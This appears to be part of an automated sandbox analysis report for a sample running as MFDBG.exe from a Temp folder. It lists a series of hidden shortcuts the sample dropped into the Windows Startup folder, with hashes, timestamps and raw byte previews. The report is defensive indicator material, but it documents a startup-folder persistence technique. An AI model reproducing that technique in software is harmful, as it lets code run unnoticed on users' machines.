Preview:	L..................F...."...]W%.{...A"T.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2f347956c6754f81bc051be0a4c0bb1b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941367207968362
Encrypted:	false
SSDEEP:	24:80hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82a0R6rMhpBoUBxdRd1nYyg
MD5:	4618CA0DF33E5696AA37BB462C68C6BB
SHA1:	254C62678FE5A3927B9FF6F9D43F253279708DC1
SHA-256:	CB06ED4FD94B04C5392629EDF0E7A43400A92A7C29CD63B46F5E0E15D79059EB
SHA-512:	F1AC86103502DDDE04B1020C5E3F57469F6711DB68140D48A7D94AA5B13E9EE4A17C133B184B4F38ED9D1A3817AA416F0A6459B40DE34AA274C7B2DD1D140B03
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fc005b30e614e659c47e2897db2a44f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938198743715571
Encrypted:	false
SSDEEP:	24:8GmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gs60R6rMhpBoUBxdRd1nYyg
MD5:	818A1725D374949A1E4B93C6E1EA49E4
SHA1:	7E9A88D60AEC837C6F0585E4C69E50DB95EF7398
SHA-256:	E32E3F381EE70D6DA10E0C0394F95AAFC19AF73ACD47B886846DABB787BE0195
SHA-512:	74A257A6455F9911E04E6A599C996CE20653AA6C84C509F4D715752EC3440047C365AED2FD9AF495459D43F1A4550531606991CFD5F18D988ACC3C03CE310D3D
Malicious:	false
Preview:	L..................F...."...]W%.{...x...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fec224326fd46d6a1e924208c52a7d1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933753473620754
Encrypted:	false
SSDEEP:	24:8ghBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yKI0R6rMhpBoUBxdRd1nYyg
MD5:	528A0D6621419988B2591DB170362723
SHA1:	7ADF49B7099C05C7B51086CFC64A0B1A22C769BB
SHA-256:	CFB7725EB40986893C8F58BAE947630E09221F6D7D0BF8E4BD1EB702BC08DAC8
SHA-512:	DC69733CB2B81AD674DBAC0D12E4C0DF9D662AE742BD41FECFD661FFE6AA79A2A9A8BB760B5386FC869C89FF9716C83FD8457AE35608E5B4996AF44AB2D8E662
Malicious:	false
Preview:	L..................F...."...]W%.{....35.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30021e49c9024d8598d161192bf88011.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932584996462794
Encrypted:	false
SSDEEP:	24:8aPhBfi+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8S20R6rMhpBoUBxdRd1nYyg
MD5:	60C8865BD7819A336EFA9928BE6D0D56
SHA1:	67B9949974F5AB44624917DD870A056AA0727CC7
SHA-256:	BA980339C76833BF2073CCEC6F0E1BBCB4F5CE284A158270129A8AEC77343FC2
SHA-512:	5D5187654CE1996A7C235B821F6925ED4651FF1A7BF2F75085315E07A21526377BB5240843BB8A64FBC000F7D0AD8F05D93CB4274DD5A56C52EABB783DBD6785
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...CW..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3029679db7ed4d7aa4988057578c95b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926346833060631
Encrypted:	false
SSDEEP:	24:8jhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8XU0R6rMhpBoUBxdRd1nYyg
MD5:	8B29F0E4E550DA7B9675A62C47A61182
SHA1:	F0444609CE7866F23D1CCF0D2D2C462D20A5679A
SHA-256:	88DBC1C2778BD921B3ED42D117C64FBFB97C248C7F3C2D93BBBCCAD6929C162F
SHA-512:	5B619A6662B5523DA0331D6C4E9D106E0A79593D5FE321B65174042070035D342D04795BFBE1BD60B1552E5328D21C56CBAAF4C5197C8151E94C5149E4F76BDC
Malicious:	false
Preview:	L..................F...."...]W%.{.....Y.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_303b5a69def94b789db4ec9c512c3795.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935534690571903
Encrypted:	false
SSDEEP:	24:8dhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ds0R6rMhpBoUBxdRd1nYyg
MD5:	9B94DC1C27A262F03FE7AA679491B5D2
SHA1:	6EA561A56A31D9CFCD37398AD3A2CC8E13D29DA3
SHA-256:	CA33F3056B98B9BAB596411529D34E7AB094032AA3547C5D3133C86EC63074AE
SHA-512:	B1C503AA703781BB70D83535DF055472D7066B4180BF555DCF2D6CD560237732D175DB8775EF676467818652B85A0871C0105DFC9135B5B88222A86D533DA709
Malicious:	false
Preview:	L..................F...."...]W%.{...R..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3042d26375554d1b9c7a54fd17f4e58a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9390396717888825
Encrypted:	false
SSDEEP:	24:8rhBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PPT0R6rMhpBoUBxdRd1nYyg
MD5:	2B4183D887E4AF6A06F39F99D65DDAA2
SHA1:	6AD671132DF6E088D9C7BA3FC96592304A0291D8
SHA-256:	58D456BB7659CC0DDDCC7D4E0F6DE13DD001C5FB0CAB77AC25782ED302135D1D
SHA-512:	A4B6850C6B8003F515F526843F87E23DDBCD18B6255043CDEDB87B1394ACB0A6B5249CD9F264700737C1CADA8EB61FC8C966C34406FF16E653361C9E41F167CE
Malicious:	false
Preview:	L..................F...."...]W%.{...^>W.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30490dabc6844727b73e8e52691c0e60.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93912873765645
Encrypted:	false
SSDEEP:	24:8MhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+lc0R6rMhpBoUBxdRd1nYyg
MD5:	C971C998F42F36BDDF2EE22E2FE6CA14
SHA1:	482BAF577FF9AF8AFE425182291D983468841D40
SHA-256:	97842549BF946590FB81B8B10FF3750019A2ED737E6603CA7E625743578212AA
SHA-512:	7CCDAE07C5B9A6305226513855F0C2295545D1B79FD3312A77A8D4FBA31AD08416E7A873A1C58EFDE010514AB23A3E924A39CC20C0FE320150F39E394AE77E80
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_307886165e464921aa1476cb60b7074c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938434344128919
Encrypted:	false
SSDEEP:	24:8RhBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hY0R6rMhpBoUBxdRd1nYyg
MD5:	7CE7AF77374C5EBA8C5E0ACC5ACE9F9F
SHA1:	AEA9FC0DDF1D004FE2E8A41CD5B5778B8A353E3A
SHA-256:	494E604C38C59DC4CAEAE51E158CFC36DAA97B81C75353B4B890B9AD2C25675D
SHA-512:	5DE95D8C2F2125E4D2D054BEB65F9A5B3E0D39DB3B9005E140C4406587DF97A3B47F47150E04C4776168F133030DC342E66C7AC5A4D1B23B64B6E1A73EBC36AC
Malicious:	false
Preview:	L..................F...."...]W%.{...'~..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...:...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_309ea965c4d24d188bd604c72a33ab26.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942081009756597
Encrypted:	false
SSDEEP:	24:8hhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RC0R6rMhpBoUBxdRd1nYyg
MD5:	62B9D5CF8F643A71F6EFEDE633E7CFEC
SHA1:	1E5E66FF9418DADC7481C42F7C9663F58E02F6C3
SHA-256:	A0433AB3B0484214A768499B662215109D7185EAB06DFEEBD03DE8CB2D9AE704
SHA-512:	B0E21948E79C93BBD3CC5D46873D1C68761446A1A5267CE82987A4875DB686D70AFFD89F1E30BDA79F1DAED248264FC0A37C0B38C27D7CA16A1038CCE8FE567E
Malicious:	false
Preview:	L..................F...."...]W%.{.....8.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30ad132923e24e73bf06ace2583c2d0b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9406259573738645
Encrypted:	false
SSDEEP:	24:8KGhBfFbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Z9c0R6rMhpBoUBxdRd1nYyg
MD5:	CA6CA2E66F622F25E9FEFBBBA8392E6D
SHA1:	07082B53BD9B59744C6168127A6E69F61BEDCA06
SHA-256:	9CA800E0867AF4CE2BB273EEC0698F34A3511F2B3D1FB9BE6B610FD2991F5D72
SHA-512:	E60285E7B3A8B4B4980CC11CAAEA1AAD491133A98AF42ECDA396EB19857468A6D0FABDD033F1472DC6F34CD25E47A3814E7175BC59378D2DC852FFC8211EC966
Malicious:	false
Preview:	L..................F...."...]W%.{...8.L.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....QJ.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30b8d01415004525976b404718a4e867.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934367452485971
Encrypted:	false
SSDEEP:	24:8VPhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tW0R6rMhpBoUBxdRd1nYyg
MD5:	561887256FEAAE43195314127D3C064F
SHA1:	4426A308AAA258131FC62DDCACA2E21ADC043DA5
SHA-256:	410C4D5C53D94064453C518F26D0E047BD66914505F97BAF2DD0C6ED914666C7
SHA-512:	3F56B9FAE7DF818D810C552040BB32B4E3EBBC9979D3C3145342386571703EA28439717C15BB2168C800ECC569956ED26362D6F6E746C85CB0C1F1C09CFFD7B5
Malicious:	false
Preview:	L..................F...."...]W%.{...L..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30f7c8a8e7fb458698c92d9199774533.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9436979286672775
Encrypted:	false
SSDEEP:	24:8DphBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Dp70R6rMhpBoUBxdRd1nYyg
MD5:	09F705DF2CE5D59BD4825B568881C733
SHA1:	027D5766C8476063A073599C5D9AE2AE2490337D
SHA-256:	6AAB68AFDE32D50B57B5BA74EFB8E37C517403CFEDAF88B829FF1F8210B3829E
SHA-512:	37CBEFD2237A55E1CB3DDA0875A9D9A8A4A992B2F9A91EBAE4E04AFDA673CF01B472470FF1F47B27FEBF004A3E4A2231A289DD825F2F1E5F9CA94AB35FC40C50
Malicious:	false
